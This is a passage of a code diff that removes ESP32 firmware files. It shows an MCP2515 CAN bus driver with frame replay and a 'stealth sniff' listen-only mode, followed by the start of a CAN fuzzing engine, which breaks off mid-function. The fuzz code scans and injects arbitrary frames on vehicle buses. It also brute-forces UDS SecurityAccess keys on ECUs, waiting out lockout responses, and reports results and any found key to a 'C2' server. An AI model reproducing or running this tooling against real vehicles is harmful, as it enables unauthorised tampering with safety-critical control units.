{ 1000000, 0x00, 0xCA, 0x01 }, /* 1 Mbps: SJW=1, BRP=0, 8 TQ */
{ 500000, 0x00, 0xF0, 0x86 }, /* 500 kbps: SJW=1, BRP=0, 16 TQ */
{ 250000, 0x01, 0xF0, 0x86 }, /* 250 kbps: SJW=1, BRP=1, 16 TQ */
{ 125000, 0x03, 0xF0, 0x86 }, /* 125 kbps: SJW=1, BRP=3, 16 TQ */
{ 100000, 0x04, 0xF0, 0x86 }, /* 100 kbps: SJW=1, BRP=4, 16 TQ */
{ 0, 0, 0, 0 }
};
/* 8 MHz oscillator — TQ = 2/Fosc = 250ns */
static const can_timing_t s_timing_8mhz[] = {
{ 500000, 0x00, 0x90, 0x02 }, /* 500 kbps: SJW=1, BRP=0, 8 TQ */
{ 250000, 0x00, 0xF0, 0x86 }, /* 250 kbps: SJW=1, BRP=0, 16 TQ */
{ 125000, 0x01, 0xF0, 0x86 }, /* 125 kbps: SJW=1, BRP=1, 16 TQ */
{ 100000, 0x03, 0xAC, 0x03 }, /* 100 kbps: SJW=1, BRP=3, 10 TQ */
{ 0, 0, 0, 0 }
};
/* ============================================================
* Driver State
* ============================================================ */
static spi_device_handle_t s_spi = NULL;
static TaskHandle_t s_rx_task = NULL;
static SemaphoreHandle_t s_int_sem = NULL;
static SemaphoreHandle_t s_tx_mutex = NULL;
static volatile bool s_running = false;
static can_rx_callback_t s_rx_cb = NULL;
static void *s_rx_ctx = NULL;
/* Counters */
static uint32_t s_rx_count = 0;
static uint32_t s_tx_count = 0;
static uint32_t s_bus_errors = 0;
static uint32_t s_rx_overflow = 0;
static bool s_bus_off = false;
static bool s_err_passive = false;
/* ============================================================
* SPI Low-Level Helpers
* ============================================================ */
static uint8_t mcp_read_reg(uint8_t addr)
{
uint8_t tx[3] = { MCP_READ, addr, 0x00 };
uint8_t rx[3] = { 0 };
spi_transaction_t t = {
.length = 24,
.tx_buffer = tx,
.rx_buffer = rx,
};
spi_device_transmit(s_spi, &t);
return rx[2];
}
static void mcp_write_reg(uint8_t addr, uint8_t val)
{
uint8_t tx[3] = { MCP_WRITE, addr, val };
spi_transaction_t t = {
.length = 24,
.tx_buffer = tx,
};
spi_device_transmit(s_spi, &t);
}
static void mcp_modify_reg(uint8_t addr, uint8_t mask, uint8_t val)
{
uint8_t tx[4] = { MCP_BIT_MODIFY, addr, mask, val };
spi_transaction_t t = {
.length = 32,
.tx_buffer = tx,
};
spi_device_transmit(s_spi, &t);
}
static void mcp_reset(void)
{
uint8_t tx[1] = { MCP_RESET };
spi_transaction_t t = {
.length = 8,
.tx_buffer = tx,
};
spi_device_transmit(s_spi, &t);
vTaskDelay(pdMS_TO_TICKS(10)); /* MCP2515 needs time after reset */
}
static void mcp_set_mode(uint8_t mode)
{
mcp_modify_reg(MCP_CANCTRL, 0xE0, mode);
/* Wait for mode change confirmation */
for (int i = 0; i < 50; i++) {
uint8_t stat = mcp_read_reg(MCP_CANSTAT);
if ((stat & 0xE0) == mode) return;
vTaskDelay(pdMS_TO_TICKS(1));
}
ESP_LOGW(TAG, "Mode change to 0x%02X timeout", mode);
}
/* Read a complete frame from RX buffer (0 or 1) */
static void mcp_read_rx_buffer(int buf, can_frame_t *frame)
{
/* Use READ_RX instruction for auto-clear of interrupt flag */
uint8_t cmd = (buf == 0) ? MCP_READ_RX0 : MCP_READ_RX1;
/* Read: cmd + SIDH + SIDL + EID8 + EID0 + DLC + 8 data = 14 bytes */
uint8_t tx[14] = { 0 };
uint8_t rx[14] = { 0 };
tx[0] = cmd;
spi_transaction_t t = {
.length = 14 * 8,
.tx_buffer = tx,
.rx_buffer = rx,
};
spi_device_transmit(s_spi, &t);
/* Parse — offsets relative to rx[1] (SIDH is byte 1) */
uint8_t sidh = rx[1];
uint8_t sidl = rx[2];
uint8_t eid8 = rx[3];
uint8_t eid0 = rx[4];
uint8_t dlc = rx[5];
frame->extended = (sidl & 0x08) != 0;
frame->rtr = false;
if (frame->extended) {
frame->id = ((uint32_t)sidh << 21)
| ((uint32_t)(sidl & 0xE0) << 13)
| ((uint32_t)(sidl & 0x03) << 16)
| ((uint32_t)eid8 << 8)
| (uint32_t)eid0;
frame->rtr = (dlc & 0x40) != 0;
} else {
frame->id = ((uint32_t)sidh << 3) | ((uint32_t)(sidl >> 5) & 0x07);
frame->rtr = (sidl & 0x10) != 0;
}
frame->dlc = dlc & 0x0F;
if (frame->dlc > 8) frame->dlc = 8;
memcpy(frame->data, &rx[6], 8);
frame->timestamp_us = 0; /* Caller sets timestamp */
}
/* Write a frame to TX buffer 0 and request send */
static bool mcp_write_tx_buffer(const can_frame_t *frame)
{
/* Check if TX buffer 0 is free */
uint8_t ctrl = mcp_read_reg(MCP_TXB0CTRL);
if (ctrl & 0x08) {
/* TXREQ still set — previous TX pending */
return false;
}
/* Build TX buffer content: SIDH + SIDL + EID8 + EID0 + DLC + data */
uint8_t tx[14] = { 0 };
tx[0] = MCP_LOAD_TX0;
if (frame->extended) {
tx[1] = (uint8_t)(frame->id >> 21); /* SIDH */
tx[2] = (uint8_t)((frame->id >> 13) & 0xE0) /* SIDL high bits */
| 0x08 /* EXIDE = 1 */
| (uint8_t)((frame->id >> 16) & 0x03); /* SIDL low bits */
tx[3] = (uint8_t)(frame->id >> 8); /* EID8 */
tx[4] = (uint8_t)(frame->id); /* EID0 */
tx[5] = frame->dlc | (frame->rtr ? 0x40 : 0x00); /* DLC + RTR */
} else {
tx[1] = (uint8_t)(frame->id >> 3); /* SIDH */
tx[2] = (uint8_t)((frame->id & 0x07) << 5) /* SIDL */
| (frame->rtr ? 0x10 : 0x00);
tx[3] = 0;
tx[4] = 0;
tx[5] = frame->dlc;
}
memcpy(&tx[6], frame->data, 8);
spi_transaction_t t = {
.length = 14 * 8,
.tx_buffer = tx,
};
spi_device_transmit(s_spi, &t);
/* Request to send */
uint8_t rts = MCP_RTS_TX0;
spi_transaction_t rts_t = {
.length = 8,
.tx_buffer = &rts,
};
spi_device_transmit(s_spi, &rts_t);
return true;
}
/* ============================================================
* GPIO ISR INT pin (active low)
* ============================================================ */
static void IRAM_ATTR gpio_isr_handler(void *arg)
{
BaseType_t woken = pdFALSE;
xSemaphoreGiveFromISR(s_int_sem, &woken);
if (woken) portYIELD_FROM_ISR();
}
/* ============================================================
* RX Task
* ============================================================ */
static void rx_task(void *arg)
{
ESP_LOGI(TAG, "RX task started");
while (s_running) {
/* Wait for interrupt or timeout (poll every 100ms as fallback) */
if (xSemaphoreTake(s_int_sem, pdMS_TO_TICKS(100)) != pdTRUE) {
continue;
}
/* Read interrupt flags */
uint8_t intf = mcp_read_reg(MCP_CANINTF);
/* RX buffer 0 full */
if (intf & MCP_RX0IF) {
can_frame_t frame;
mcp_read_rx_buffer(0, &frame); /* READ_RX auto-clears RX0IF */
frame.timestamp_us = esp_timer_get_time();
s_rx_count++;
if (s_rx_cb) s_rx_cb(&frame, s_rx_ctx);
}
/* RX buffer 1 full */
if (intf & MCP_RX1IF) {
can_frame_t frame;
mcp_read_rx_buffer(1, &frame); /* READ_RX auto-clears RX1IF */
frame.timestamp_us = esp_timer_get_time();
s_rx_count++;
if (s_rx_cb) s_rx_cb(&frame, s_rx_ctx);
}
/* Error interrupt */
if (intf & MCP_ERRIF) {
uint8_t eflg = mcp_read_reg(MCP_EFLG);
s_bus_errors++;
if (eflg & MCP_EFLG_TXBO) {
s_bus_off = true;
ESP_LOGW(TAG, "Bus-off detected");
}
if (eflg & (MCP_EFLG_RXEP | MCP_EFLG_TXEP)) {
s_err_passive = true;
}
if (eflg & (MCP_EFLG_RX0OVR | MCP_EFLG_RX1OVR)) {
s_rx_overflow++;
}
/* Clear error flags */
mcp_modify_reg(MCP_EFLG, 0xFF, 0x00);
mcp_modify_reg(MCP_CANINTF, MCP_ERRIF, 0x00);
}
/* TX complete — clear flags */
if (intf & (MCP_TX0IF | MCP_TX1IF | MCP_TX2IF)) {
mcp_modify_reg(MCP_CANINTF, MCP_TX0IF | MCP_TX1IF | MCP_TX2IF, 0x00);
}
}
ESP_LOGI(TAG, "RX task stopped");
s_rx_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API Lifecycle
* ============================================================ */
bool can_driver_init(int bitrate, uint8_t osc_mhz)
{
if (s_spi) {
ESP_LOGW(TAG, "Already initialized");
return false;
}
/* Select timing table */
const can_timing_t *table = NULL;
if (osc_mhz == 16) {
table = s_timing_16mhz;
} else if (osc_mhz == 8) {
table = s_timing_8mhz;
} else {
ESP_LOGE(TAG, "Unsupported oscillator: %u MHz", osc_mhz);
return false;
}
/* Find matching bitrate */
const can_timing_t *timing = NULL;
for (int i = 0; table[i].bitrate != 0; i++) {
if (table[i].bitrate == bitrate) {
timing = &table[i];
break;
}
}
if (!timing) {
ESP_LOGE(TAG, "Unsupported bitrate %d for %u MHz osc", bitrate, osc_mhz);
return false;
}
/* Init SPI bus */
spi_bus_config_t bus_cfg = {
.mosi_io_num = CONFIG_CANBUS_PIN_MOSI,
.miso_io_num = CONFIG_CANBUS_PIN_MISO,
.sclk_io_num = CONFIG_CANBUS_PIN_SCK,
.quadwp_io_num = -1,
.quadhd_io_num = -1,
.max_transfer_sz = 32,
};
esp_err_t ret = spi_bus_initialize(CONFIG_CANBUS_SPI_HOST, &bus_cfg, SPI_DMA_DISABLED);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "SPI bus init failed: %s", esp_err_to_name(ret));
return false;
}
/* Add MCP2515 as SPI device */
spi_device_interface_config_t dev_cfg = {
.mode = 0, /* SPI mode 0 (CPOL=0, CPHA=0) */
.clock_speed_hz = CONFIG_CANBUS_SPI_CLOCK_HZ,
.spics_io_num = CONFIG_CANBUS_PIN_CS,
.queue_size = 4,
};
ret = spi_bus_add_device(CONFIG_CANBUS_SPI_HOST, &dev_cfg, &s_spi);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "SPI device add failed: %s", esp_err_to_name(ret));
spi_bus_free(CONFIG_CANBUS_SPI_HOST);
return false;
}
/* Reset MCP2515 (enters CONFIG mode automatically) */
mcp_reset();
/* Verify we can read CANSTAT — should be in CONFIG mode (0x80) */
uint8_t stat = mcp_read_reg(MCP_CANSTAT);
if ((stat & 0xE0) != MCP_MODE_CONFIG) {
ESP_LOGE(TAG, "MCP2515 not responding (CANSTAT=0x%02X)", stat);
spi_bus_remove_device(s_spi);
spi_bus_free(CONFIG_CANBUS_SPI_HOST);
s_spi = NULL;
return false;
}
ESP_LOGI(TAG, "MCP2515 detected (CANSTAT=0x%02X)", stat);
/* Set bit timing */
mcp_write_reg(MCP_CNF1, timing->cnf1);
mcp_write_reg(MCP_CNF2, timing->cnf2);
mcp_write_reg(MCP_CNF3, timing->cnf3);
/* Enable interrupts: RX0, RX1, Error */
mcp_write_reg(MCP_CANINTE, MCP_RX0IE | MCP_RX1IE | MCP_ERRIE);
/* Clear all interrupt flags */
mcp_write_reg(MCP_CANINTF, 0x00);
/* RXB0CTRL: rollover to RXB1 if RXB0 full, receive all valid messages */
mcp_write_reg(MCP_RXB0CTRL, 0x64); /* BUKT=1, RXM=11 (turn mask/filter off) */
mcp_write_reg(MCP_RXB1CTRL, 0x60); /* RXM=11 (turn mask/filter off) */
/* Create semaphores */
s_int_sem = xSemaphoreCreateBinary();
s_tx_mutex = xSemaphoreCreateMutex();
/* Reset counters */
s_rx_count = 0;
s_tx_count = 0;
s_bus_errors = 0;
s_rx_overflow = 0;
s_bus_off = false;
s_err_passive = false;
/* Configure INT pin as input with pull-up, falling edge interrupt */
gpio_config_t io_cfg = {
.pin_bit_mask = (1ULL << CONFIG_CANBUS_PIN_INT),
.mode = GPIO_MODE_INPUT,
.pull_up_en = GPIO_PULLUP_ENABLE,
.pull_down_en = GPIO_PULLDOWN_DISABLE,
.intr_type = GPIO_INTR_NEGEDGE,
};
gpio_config(&io_cfg);
gpio_install_isr_service(0);
gpio_isr_handler_add(CONFIG_CANBUS_PIN_INT, gpio_isr_handler, NULL);
ESP_LOGI(TAG, "Initialized: %d bps, %u MHz osc, SPI@%d Hz",
bitrate, osc_mhz, CONFIG_CANBUS_SPI_CLOCK_HZ);
return true;
}
bool can_driver_start(can_mode_t mode)
{
if (!s_spi) {
ESP_LOGE(TAG, "Not initialized");
return false;
}
if (s_running) {
ESP_LOGW(TAG, "Already running");
return false;
}
/* Map mode enum to MCP2515 mode register value */
uint8_t mcp_mode;
const char *mode_str;
switch (mode) {
case CAN_MODE_LISTEN_ONLY:
mcp_mode = MCP_MODE_LISTEN;
mode_str = "listen-only";
break;
case CAN_MODE_LOOPBACK:
mcp_mode = MCP_MODE_LOOPBACK;
mode_str = "loopback";
break;
default:
mcp_mode = MCP_MODE_NORMAL;
mode_str = "normal";
break;
}
/* Set operational mode */
mcp_set_mode(mcp_mode);
/* Verify mode */
uint8_t stat = mcp_read_reg(MCP_CANSTAT);
if ((stat & 0xE0) != mcp_mode) {
ESP_LOGE(TAG, "Failed to enter %s mode (CANSTAT=0x%02X)", mode_str, stat);
return false;
}
s_running = true;
/* Start RX task on Core 1, priority 5 (above normal) */
BaseType_t ret = xTaskCreatePinnedToCore(
rx_task, "can_rx", 4096, NULL, 5, &s_rx_task, 1
);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create RX task");
s_running = false;
mcp_set_mode(MCP_MODE_CONFIG);
return false;
}
ESP_LOGI(TAG, "Started in %s mode", mode_str);
return true;
}
void can_driver_stop(void)
{
if (!s_running) return;
s_running = false;
/* Give semaphore to wake RX task so it exits */
if (s_int_sem) xSemaphoreGive(s_int_sem);
/* Wait for RX task to die */
for (int i = 0; i < 20 && s_rx_task != NULL; i++) {
vTaskDelay(pdMS_TO_TICKS(50));
}
/* Put MCP2515 back to CONFIG mode */
if (s_spi) {
mcp_set_mode(MCP_MODE_CONFIG);
}
ESP_LOGI(TAG, "Stopped");
}
void can_driver_deinit(void)
{
can_driver_stop();
/* Remove ISR */
gpio_isr_handler_remove(CONFIG_CANBUS_PIN_INT);
/* Free SPI */
if (s_spi) {
spi_bus_remove_device(s_spi);
spi_bus_free(CONFIG_CANBUS_SPI_HOST);
s_spi = NULL;
}
/* Free semaphores */
if (s_int_sem) { vSemaphoreDelete(s_int_sem); s_int_sem = NULL; }
if (s_tx_mutex) { vSemaphoreDelete(s_tx_mutex); s_tx_mutex = NULL; }
ESP_LOGI(TAG, "Deinitialized");
}
bool can_driver_is_running(void)
{
return s_running;
}
/* ============================================================
* Public API TX / RX
* ============================================================ */
bool can_driver_send(const can_frame_t *frame)
{
if (!s_running || !s_spi) return false;
xSemaphoreTake(s_tx_mutex, portMAX_DELAY);
/* Try to load into TX buffer, with retries for busy buffer */
bool ok = false;
for (int i = 0; i < 10; i++) {
if (mcp_write_tx_buffer(frame)) {
ok = true;
break;
}
vTaskDelay(pdMS_TO_TICKS(1));
}
if (ok) {
/* Wait for TX complete (TX0IF) or timeout */
for (int i = 0; i < 100; i++) {
uint8_t intf = mcp_read_reg(MCP_CANINTF);
if (intf & MCP_TX0IF) {
mcp_modify_reg(MCP_CANINTF, MCP_TX0IF, 0x00);
s_tx_count++;
break;
}
vTaskDelay(pdMS_TO_TICKS(1));
}
}
xSemaphoreGive(s_tx_mutex);
return ok;
}
void can_driver_set_rx_callback(can_rx_callback_t cb, void *ctx)
{
s_rx_cb = cb;
s_rx_ctx = ctx;
}
void can_driver_get_rx_callback(can_rx_callback_t *cb, void **ctx)
{
if (cb) *cb = s_rx_cb;
if (ctx) *ctx = s_rx_ctx;
}
/* ============================================================
* Public API Hardware Filters
* ============================================================ */
/* Filter register base addresses (SIDH of each filter) */
static const uint8_t s_filter_addrs[6] = {
MCP_RXF0SIDH, MCP_RXF1SIDH, MCP_RXF2SIDH,
MCP_RXF3SIDH, MCP_RXF4SIDH, MCP_RXF5SIDH,
};
static const uint8_t s_mask_addrs[2] = {
MCP_RXM0SIDH, MCP_RXM1SIDH,
};
/* Write ID to filter/mask register set (4 bytes: SIDH, SIDL, EID8, EID0) */
static void write_id_regs(uint8_t base_addr, uint32_t id, bool extended)
{
uint8_t sidh, sidl, eid8, eid0;
if (extended) {
sidh = (uint8_t)(id >> 21);
sidl = (uint8_t)((id >> 13) & 0xE0) | 0x08 | (uint8_t)((id >> 16) & 0x03);
eid8 = (uint8_t)(id >> 8);
eid0 = (uint8_t)(id);
} else {
sidh = (uint8_t)(id >> 3);
sidl = (uint8_t)((id & 0x07) << 5);
eid8 = 0;
eid0 = 0;
}
mcp_write_reg(base_addr, sidh);
mcp_write_reg(base_addr + 1, sidl);
mcp_write_reg(base_addr + 2, eid8);
mcp_write_reg(base_addr + 3, eid0);
}
bool can_driver_set_filter(int idx, uint32_t id, bool extended)
{
if (!s_spi || idx < 0 || idx > 5) return false;
/* Filters can only be set in CONFIG mode */
bool was_running = s_running;
if (was_running) can_driver_stop();
mcp_set_mode(MCP_MODE_CONFIG);
write_id_regs(s_filter_addrs[idx], id, extended);
/* Enable filtering on the relevant RX buffer */
if (idx < 2) {
mcp_write_reg(MCP_RXB0CTRL, 0x04); /* BUKT=1, RXM=00 (use filter) */
} else {
mcp_write_reg(MCP_RXB1CTRL, 0x00); /* RXM=00 (use filter) */
}
if (was_running) can_driver_start(CAN_MODE_NORMAL);
return true;
}
bool can_driver_set_mask(int idx, uint32_t mask, bool extended)
{
if (!s_spi || idx < 0 || idx > 1) return false;
bool was_running = s_running;
if (was_running) can_driver_stop();
mcp_set_mode(MCP_MODE_CONFIG);
write_id_regs(s_mask_addrs[idx], mask, extended);
if (was_running) can_driver_start(CAN_MODE_NORMAL);
return true;
}
void can_driver_clear_filters(void)
{
if (!s_spi) return;
bool was_running = s_running;
if (was_running) can_driver_stop();
mcp_set_mode(MCP_MODE_CONFIG);
/* Set masks to 0 (match anything) */
for (int i = 0; i < 2; i++) {
write_id_regs(s_mask_addrs[i], 0, false);
}
/* RXM=11 → turn off mask/filter, receive all */
mcp_write_reg(MCP_RXB0CTRL, 0x64);
mcp_write_reg(MCP_RXB1CTRL, 0x60);
if (was_running) can_driver_start(CAN_MODE_NORMAL);
}
/* ============================================================
* Public API Status
* ============================================================ */
void can_driver_get_status(can_status_t *out)
{
memset(out, 0, sizeof(*out));
out->rx_count = s_rx_count;
out->tx_count = s_tx_count;
out->bus_errors = s_bus_errors;
out->rx_overflow = s_rx_overflow;
out->bus_off = s_bus_off;
if (s_spi) {
out->tx_errors = mcp_read_reg(MCP_TEC);
out->rx_errors = mcp_read_reg(MCP_REC);
out->error_passive = (out->tx_errors > 127) || (out->rx_errors > 127);
}
if (!s_spi) out->state = "not_initialized";
else if (!s_running) out->state = "stopped";
else if (out->bus_off) out->state = "bus_off";
else if (out->error_passive) out->state = "error_passive";
else out->state = "running";
}
/* ============================================================
* Public API Replay
* ============================================================ */
bool can_driver_replay(const can_frame_t *frames, int count, int speed_pct)
{
if (!s_running || !frames || count <= 0) return false;
ESP_LOGI(TAG, "Replaying %d frames at %d%% speed", count, speed_pct);
int64_t base_ts = frames[0].timestamp_us;
for (int i = 0; i < count && s_running; i++) {
/* Wait for inter-frame delay */
if (i > 0 && speed_pct > 0) {
int64_t delta_us = frames[i].timestamp_us - frames[i - 1].timestamp_us;
if (delta_us > 0) {
int64_t wait_us = (delta_us * 100) / speed_pct;
if (wait_us > 1000) {
vTaskDelay(pdMS_TO_TICKS(wait_us / 1000));
}
}
}
can_frame_t tx = frames[i];
if (!can_driver_send(&tx)) {
ESP_LOGW(TAG, "Replay: send failed at frame %d", i);
}
}
ESP_LOGI(TAG, "Replay complete (%d frames)", count);
return true;
}
#endif /* CONFIG_MODULE_CANBUS */

View File

@ -1,117 +0,0 @@
/*
* canbus_driver.h
* MCP2515 CAN controller driver via SPI.
* Abstracts all hardware details upper layers see only can_frame_t.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================
* CAN Frame
* ============================================================ */
typedef struct {
uint32_t id; /* Arbitration ID (11 or 29 bit) */
uint8_t dlc; /* Data Length Code (0-8) */
uint8_t data[8]; /* Payload */
bool extended; /* Extended (29-bit) ID */
bool rtr; /* Remote Transmission Request */
int64_t timestamp_us; /* Microsecond timestamp (esp_timer_get_time) */
} can_frame_t;
/* ============================================================
* Operating Modes
* ============================================================ */
typedef enum {
CAN_MODE_NORMAL, /* Full TX/RX participation on bus */
CAN_MODE_LISTEN_ONLY, /* RX only, no ACK (stealth sniff) */
CAN_MODE_LOOPBACK, /* Self-test, TX frames loop back to RX */
} can_mode_t;
/* ============================================================
* RX Callback
* ============================================================ */
/* Called from RX task context (not ISR) — safe to call msg_data() etc. */
typedef void (*can_rx_callback_t)(const can_frame_t *frame, void *ctx);
/* ============================================================
* Driver Lifecycle
* ============================================================ */
/* Init SPI bus + MCP2515 reset + bit timing config */
bool can_driver_init(int bitrate, uint8_t osc_mhz);
/* Set MCP2515 to operational mode, start RX task */
bool can_driver_start(can_mode_t mode);
/* Set MCP2515 to config mode, kill RX task */
void can_driver_stop(void);
/* Free SPI resources */
void can_driver_deinit(void);
/* Check if driver is running */
bool can_driver_is_running(void);
/* ============================================================
* TX / RX
* ============================================================ */
/* Send a single CAN frame (blocking until TX complete or timeout) */
bool can_driver_send(const can_frame_t *frame);
/* Register callback for received frames */
void can_driver_set_rx_callback(can_rx_callback_t cb, void *ctx);
/* Retrieve the currently installed RX callback */
void can_driver_get_rx_callback(can_rx_callback_t *cb, void **ctx);
/* ============================================================
* Hardware Filters (MCP2515 acceptance masks + filters)
* ============================================================ */
/* Set one of 6 acceptance filters (0-5). Filters 0-1 use mask 0, filters 2-5 use mask 1. */
bool can_driver_set_filter(int filter_idx, uint32_t id, bool extended);
/* Set one of 2 acceptance masks (0-1) */
bool can_driver_set_mask(int mask_idx, uint32_t mask, bool extended);
/* Clear all filters — accept all frames */
void can_driver_clear_filters(void);
/* ============================================================
* Status / Diagnostics
* ============================================================ */
typedef struct {
uint32_t rx_count;
uint32_t tx_count;
uint32_t rx_errors; /* REC from MCP2515 */
uint32_t tx_errors; /* TEC from MCP2515 */
uint32_t bus_errors;
uint32_t rx_overflow; /* RX buffer overflow count */
bool bus_off; /* TEC > 255 */
bool error_passive; /* TEC or REC > 127 */
const char *state; /* "stopped"/"running"/"bus_off"/"error_passive" */
} can_status_t;
void can_driver_get_status(can_status_t *out);
/* ============================================================
* Replay
* ============================================================ */
/* Replay recorded frames. speed_pct: 100=real-time, 0=max speed */
bool can_driver_replay(const can_frame_t *frames, int count, int speed_pct);
#ifdef __cplusplus
}
#endif

View File

@ -1,359 +0,0 @@
/*
* canbus_fuzz.c
* CAN bus fuzzing engine implementation.
*
* Runs as a FreeRTOS task on Core 1. Reports interesting responses to C2.
*/
#include "sdkconfig.h"
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_FUZZ)
#include <string.h>
#include "esp_log.h"
#include "esp_random.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include "canbus_fuzz.h"
#include "canbus_driver.h"
#include "utils.h"
#ifdef CONFIG_CANBUS_ISO_TP
#include "canbus_isotp.h"
#endif
#define TAG "CAN_FUZZ"
static volatile bool s_fuzz_running = false;
static TaskHandle_t s_fuzz_task = NULL;
static fuzz_config_t s_fuzz_cfg;
static const char *s_fuzz_req_id = NULL;
static uint32_t s_fuzz_count = 0;
static uint32_t s_fuzz_responses = 0;
static SemaphoreHandle_t s_fuzz_mutex = NULL;
/* ============================================================
* Response detector callback
* ============================================================ */
/* Temporary callback to detect responses during fuzzing */
static can_rx_callback_t s_prev_cb = NULL;
static void *s_prev_ctx = NULL;
static void fuzz_rx_callback(const can_frame_t *frame, void *ctx)
{
(void)ctx;
/* Count any response and report interesting ones */
s_fuzz_responses++;
/* Report to C2 */
char line[96];
snprintf(line, sizeof(line), "FUZZ_RSP|%03lX|%u|",
(unsigned long)frame->id, frame->dlc);
size_t off = strlen(line);
for (int i = 0; i < frame->dlc && off < sizeof(line) - 2; i++) {
off += snprintf(line + off, sizeof(line) - off, "%02X", frame->data[i]);
}
msg_data(TAG, line, strlen(line), false, s_fuzz_req_id);
/* Chain to original callback */
if (s_prev_cb) s_prev_cb(frame, s_prev_ctx);
}
/* ============================================================
* Fuzz Modes
* ============================================================ */
/* ID Scan: send fixed payload on every ID in range */
static void fuzz_id_scan(void)
{
uint8_t data[8];
memcpy(data, s_fuzz_cfg.seed_data, 8);
uint8_t dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8;
for (uint32_t id = s_fuzz_cfg.id_start;
id <= s_fuzz_cfg.id_end && s_fuzz_running;
id++) {
can_frame_t frame = {
.id = id,
.dlc = dlc,
.extended = (id > 0x7FF),
.rtr = false,
};
memcpy(frame.data, data, 8);
can_driver_send(&frame);
s_fuzz_count++;
if (s_fuzz_cfg.delay_ms > 0) {
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
}
if (s_fuzz_cfg.max_iterations > 0 && s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) {
break;
}
}
}
/* Data Mutate: for a fixed ID, try all values for each byte */
static void fuzz_data_mutate(void)
{
can_frame_t frame = {
.id = s_fuzz_cfg.target_id,
.dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8,
.extended = (s_fuzz_cfg.target_id > 0x7FF),
.rtr = false,
};
memcpy(frame.data, s_fuzz_cfg.seed_data, 8);
/* For each byte position, try all 256 values */
for (int pos = 0; pos < frame.dlc && s_fuzz_running; pos++) {
uint8_t original = frame.data[pos];
for (int val = 0; val < 256 && s_fuzz_running; val++) {
frame.data[pos] = (uint8_t)val;
can_driver_send(&frame);
s_fuzz_count++;
if (s_fuzz_cfg.delay_ms > 0) {
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
}
if (s_fuzz_cfg.max_iterations > 0 &&
s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) {
return;
}
}
frame.data[pos] = original; /* Restore for next position */
}
}
/* Random: random ID + random data */
static void fuzz_random(void)
{
int max_iter = s_fuzz_cfg.max_iterations > 0
? s_fuzz_cfg.max_iterations
: 10000;
for (int i = 0; i < max_iter && s_fuzz_running; i++) {
uint32_t rand_val = esp_random();
can_frame_t frame = {
.id = rand_val & 0x7FF, /* Standard ID range */
.dlc = (uint8_t)((esp_random() % 8) + 1),
.extended = false,
.rtr = false,
};
/* Fill with random data */
uint32_t r1 = esp_random();
uint32_t r2 = esp_random();
memcpy(&frame.data[0], &r1, 4);
memcpy(&frame.data[4], &r2, 4);
can_driver_send(&frame);
s_fuzz_count++;
if (s_fuzz_cfg.delay_ms > 0) {
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
}
}
}
/* UDS Auth: brute-force SecurityAccess key */
static void fuzz_uds_auth(void)
{
#ifdef CONFIG_CANBUS_ISO_TP
uint32_t tx_id = s_fuzz_cfg.target_id;
uint32_t rx_id = tx_id + 0x08;
int max_iter = s_fuzz_cfg.max_iterations > 0
? s_fuzz_cfg.max_iterations
: 65536;
ESP_LOGI(TAG, "UDS auth brute-force on TX=0x%03lX", (unsigned long)tx_id);
for (int attempt = 0; attempt < max_iter && s_fuzz_running; attempt++) {
/* Step 1: Request seed (SecurityAccess level 0x01) */
uint8_t seed_req[2] = { 0x27, 0x01 };
uint8_t resp[32];
size_t resp_len = 0;
isotp_status_t st = isotp_request(
tx_id, rx_id, seed_req, 2,
resp, sizeof(resp), &resp_len, 1000
);
if (st != ISOTP_OK || resp_len < 2) {
vTaskDelay(pdMS_TO_TICKS(100));
continue;
}
/* Check for exceededAttempts NRC (0x36) — back off */
if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x36) {
ESP_LOGW(TAG, "ExceededAttempts — waiting 10s");
vTaskDelay(pdMS_TO_TICKS(10000));
continue;
}
/* Check for timeDelayNotExpired NRC (0x37) — back off */
if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x37) {
ESP_LOGW(TAG, "TimeDelayNotExpired — waiting 10s");
vTaskDelay(pdMS_TO_TICKS(10000));
continue;
}
/* Positive seed response: 0x67, 0x01, seed bytes */
if (resp[0] != 0x67 || resp[1] != 0x01) continue;
int seed_len = (int)resp_len - 2;
if (seed_len <= 0 || seed_len > 8) continue;
/* Step 2: Try key (incremental or random based on iteration) */
uint8_t key_req[10] = { 0x27, 0x02 };
int key_len;
if (seed_len <= 2) {
/* Short seed: try sequential */
key_len = seed_len;
key_req[2] = (uint8_t)(attempt >> 8);
if (key_len > 1) key_req[3] = (uint8_t)(attempt & 0xFF);
else key_req[2] = (uint8_t)(attempt & 0xFF);
} else {
/* Long seed: try random keys */
key_len = seed_len;
uint32_t r1 = esp_random();
uint32_t r2 = esp_random();
memcpy(&key_req[2], &r1, 4);
if (key_len > 4) memcpy(&key_req[6], &r2, key_len - 4);
}
resp_len = 0;
st = isotp_request(
tx_id, rx_id, key_req, 2 + key_len,
resp, sizeof(resp), &resp_len, 1000
);
s_fuzz_count++;
if (st == ISOTP_OK && resp_len >= 2 && resp[0] == 0x67) {
/* SUCCESS! */
char line[64];
snprintf(line, sizeof(line), "FUZZ_UDS_KEY_FOUND|0x%03lX|",
(unsigned long)tx_id);
size_t off = strlen(line);
for (int k = 0; k < key_len && off < sizeof(line) - 2; k++) {
off += snprintf(line + off, sizeof(line) - off, "%02X", key_req[2 + k]);
}
msg_data(TAG, line, strlen(line), false, s_fuzz_req_id);
ESP_LOGI(TAG, "Security key found!");
s_fuzz_running = false;
break;
}
if (s_fuzz_cfg.delay_ms > 0) {
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
}
/* Progress report every 100 attempts */
